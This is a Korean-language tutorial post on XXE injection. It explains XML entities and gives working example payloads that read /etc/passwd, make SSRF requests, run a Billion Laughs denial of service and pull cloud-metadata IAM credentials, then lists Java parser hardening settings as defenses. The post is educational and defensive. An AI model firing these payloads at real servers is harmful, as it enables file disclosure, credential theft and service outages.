728x90

XXE Injection 이란?

 

XXE Injection은 XML 파서(XML Parser)가 외부 엔티티( External Entity)를 처리하는 기능을 악용하여

다양한 보안 취약점을 일으킬 수 있는 공격기법 입니다.

 

즉, XML 문서 내에서 정의된 외부 엔티티를 통해 시스템 내부의 민감한 데이터에 접근하거나,

서버 사이드에서 임의의 요청을 발생시키거나, DoS(Denial of Service, 서비스 거부)를 일으키는 공격입니다.

 

핵심개념

1. XML(eXtensible Markup Language)

데이터를 구조적으로 표현하기 위한 마크업 언어

<?xml version="1.0"?>
<user>
	<name> Jone</name>
</user>

 

2. 엔티티(Entity)

XML에서 데이터에 별칭(alias)을 붙이는 기능으로 내부 엔티티(Internal Entity)와 외부 엔티티(External Entity)가 있습니다.

<!ENTITY exapmple "Sample Test">

 

 

2.1 External Entity(외부 엔티티)

외부 리소스(파일, URL 등)를 참조할 수 있는 엔티티

공격자가 이 기능을 이용해 서버 내부 파일이나 네트워크 리소스에 접근을 시도할 수 있습니다.

<!ENTITY xxe SYSTEM "file:///etec/passwd">

 

 

2.2 Internal Entity(내부 엔티티)

XML 문서 내부에서 직접 정의된 값

<?xml version="1.0"?>
<!DOCTYPE note [
    <!ENTITY author "John Doe">
]>
<note>
    <to>&author;</to>
    <from>Admin</from>
    <body>Hello!</body>
</note>

 

 

XXE 취약점 발생 조건

다음은 전형적인 XXE 공격 예제 입니다.

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
    <name>&xxe;</name>
</user>

이 XML을 파서가 처리하면 &xxe;가 file:///etc/passwd의 내용으로 치환됩니다.

결과저개으로 공격자는 서버의 민감한 파일 내용을 획득할 수 있게 됩니다.

 

 

 

공격 영향

로컬 파일 열람

file:// 프로토콜을 통해 시스템 파일 읽기

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>

 

SSRF(서버 사이드 요청 위조)

http://  또는 ftp:// 프로토콜을 이용하여 냅주망으로 요청을 발생

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://localhost/admin">
]>
<request>
  <target>&xxe;</target>
</request>

 

DoS

수백만 개의 엔티티 참조를 재귀적으로 생성해 메모리를 고갈시키는 "Billion Laughs" 공격

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<data>&lol9;</data>

 

데이터 유출 및 권한 상승

클라우드 서비스 메타데이터 접근 등

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<credentials>
  <access>&xxe;</access>
</credentials>

방어방법

외부엔티티 비활성화

factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

 

DTD 해석 비활성화

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

 

보안 라이브러리 사용

SAX, DOM 대신 안전한 XML 파서 라이브러리를 사용

 

입력 검증 및 화이트리스트 적용

클라이언트로부터 받은 XML 데이터는 반드시 형식과 내용을 검증

 

최신 보안 패치 적용

사용중인 파서 라이브러리, 프레임워크의 최신 보안 업데이트 적용

 

 

 

728x90

+ Recent posts